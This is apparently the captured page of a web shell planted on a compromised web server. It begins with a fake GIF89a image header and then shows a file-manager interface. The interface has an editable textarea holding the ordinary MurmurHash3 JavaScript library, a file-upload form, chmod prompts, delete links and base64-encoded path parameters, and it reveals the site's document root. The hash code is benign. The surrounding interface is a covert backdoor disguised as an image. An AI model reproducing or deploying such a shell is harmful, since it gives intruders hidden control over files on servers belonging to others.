GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>imurmurhash.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g%3D&f=aW11cm11cmhhc2guanM%3D"><input name="f" value="imurmurhash.js"><textarea name="t">/**
 * @preserve
 * JS Implementation of incremental MurmurHash3 (r150) (as of May 10, 2013)
 *
 * @author &lt;a href=&quot;mailto:jensyt@gmail.com&quot;&gt;Jens Taylor&lt;/a&gt;
 * @see http://github.com/homebrewing/brauhaus-diff
 * @author &lt;a href=&quot;mailto:gary.court@gmail.com&quot;&gt;Gary Court&lt;/a&gt;
 * @see http://github.com/garycourt/murmurhash-js
 * @author &lt;a href=&quot;mailto:aappleby@gmail.com&quot;&gt;Austin Appleby&lt;/a&gt;
 * @see http://sites.google.com/site/murmurhash/
 */
(function(){
    var cache;

    // Call this function without `new` to use the cached object (good for
    // single-threaded environments), or with `new` to create a new object.
    //
    // @param {string} key A UTF-16 or ASCII string
    // @param {number} seed An optional positive integer
    // @return {object} A MurmurHash3 object for incremental hashing
    function MurmurHash3(key, seed) {
        var m = this instanceof MurmurHash3 ? this : cache;
        m.reset(seed)
        if (typeof key === 'string' &amp;&amp; key.length &gt; 0) {
            m.hash(key);
        }

        if (m !== this) {
            return m;
        }
    };

    // Incrementally add a string to this hash
    //
    // @param {string} key A UTF-16 or ASCII string
    // @return {object} this
    MurmurHash3.prototype.hash = function(key) {
        var h1, k1, i, top, len;

        len = key.length;
        this.len += len;

        k1 = this.k1;
        i = 0;
        switch (this.rem) {
            case 0: k1 ^= len &gt; i ? (key.charCodeAt(i++) &amp; 0xffff) : 0;
            case 1: k1 ^= len &gt; i ? (key.charCodeAt(i++) &amp; 0xffff) &lt;&lt; 8 : 0;
            case 2: k1 ^= len &gt; i ? (key.charCodeAt(i++) &amp; 0xffff) &lt;&lt; 16 : 0;
            case 3:
                k1 ^= len &gt; i ? (key.charCodeAt(i) &amp; 0xff) &lt;&lt; 24 : 0;
                k1 ^= len &gt; i ? (key.charCodeAt(i++) &amp; 0xff00) &gt;&gt; 8 : 0;
        }

        this.rem = (len + this.rem) &amp; 3; // &amp; 3 is same as % 4
        len -= this.rem;
        if (len &gt; 0) {
            h1 = this.h1;
            while (1) {
                k1 = (k1 * 0x2d51 + (k1 &amp; 0xffff) * 0xcc9e0000) &amp; 0xffffffff;
                k1 = (k1 &lt;&lt; 15) | (k1 &gt;&gt;&gt; 17);
                k1 = (k1 * 0x3593 + (k1 &amp; 0xffff) * 0x1b870000) &amp; 0xffffffff;

                h1 ^= k1;
                h1 = (h1 &lt;&lt; 13) | (h1 &gt;&gt;&gt; 19);
                h1 = (h1 * 5 + 0xe6546b64) &amp; 0xffffffff;

                if (i &gt;= len) {
                    break;
                }

                k1 = ((key.charCodeAt(i++) &amp; 0xffff)) ^
                     ((key.charCodeAt(i++) &amp; 0xffff) &lt;&lt; 8) ^
                     ((key.charCodeAt(i++) &amp; 0xffff) &lt;&lt; 16);
                top = key.charCodeAt(i++);
                k1 ^= ((top &amp; 0xff) &lt;&lt; 24) ^
                      ((top &amp; 0xff00) &gt;&gt; 8);
            }

            k1 = 0;
            switch (this.rem) {
                case 3: k1 ^= (key.charCodeAt(i + 2) &amp; 0xffff) &lt;&lt; 16;
                case 2: k1 ^= (key.charCodeAt(i + 1) &amp; 0xffff) &lt;&lt; 8;
                case 1: k1 ^= (key.charCodeAt(i) &amp; 0xffff);
            }

            this.h1 = h1;
        }

        this.k1 = k1;
        return this;
    };

    // Get the result of this hash
    //
    // @return {number} The 32-bit hash
    MurmurHash3.prototype.result = function() {
        var k1, h1;
        
        k1 = this.k1;
        h1 = this.h1;

        if (k1 &gt; 0) {
            k1 = (k1 * 0x2d51 + (k1 &amp; 0xffff) * 0xcc9e0000) &amp; 0xffffffff;
            k1 = (k1 &lt;&lt; 15) | (k1 &gt;&gt;&gt; 17);
            k1 = (k1 * 0x3593 + (k1 &amp; 0xffff) * 0x1b870000) &amp; 0xffffffff;
            h1 ^= k1;
        }

        h1 ^= this.len;

        h1 ^= h1 &gt;&gt;&gt; 16;
        h1 = (h1 * 0xca6b + (h1 &amp; 0xffff) * 0x85eb0000) &amp; 0xffffffff;
        h1 ^= h1 &gt;&gt;&gt; 13;
        h1 = (h1 * 0xae35 + (h1 &amp; 0xffff) * 0xc2b20000) &amp; 0xffffffff;
        h1 ^= h1 &gt;&gt;&gt; 16;

        return h1 &gt;&gt;&gt; 0;
    };

    // Reset the hash object for reuse
    //
    // @param {number} seed An optional positive integer
    MurmurHash3.prototype.reset = function(seed) {
        this.h1 = typeof seed === 'number' ? seed : 0;
        this.rem = this.k1 = this.len = 0;
        return this;
    };

    // A cached object to use. This can be safely used if you're in a single-
    // threaded environment, otherwise you need to create new hashes to use.
    cache = new MurmurHash3();

    if (typeof(module) != 'undefined') {
        module.exports = MurmurHash3;
    } else {
        this.MurmurHash3 = MurmurHash3;
    }
}());
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/imurmurhash<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanM="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>36864</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&x=aW11cm11cmhhc2guanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&f=aW11cm11cmhhc2guanM="/>imurmurhash.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&f=aW11cm11cmhhc2guanM=&c=`+btoa(c):0" value="0644"></td><td>4412</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&x=aW11cm11cmhhc2gubWluLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&f=aW11cm11cmhhc2gubWluLmpz"/>imurmurhash.min.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&f=aW11cm11cmhhc2gubWluLmpz&c=`+btoa(c):0" value="0644"></td><td>1708</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&x=cGFja2FnZS5qc29u">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&f=cGFja2FnZS5qc29u"/>package.json</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvaW11cm11cmhhc2g=&f=cGFja2FnZS5qc29u&c=`+btoa(c):0" value="0644"></td><td>818</td></tr></table>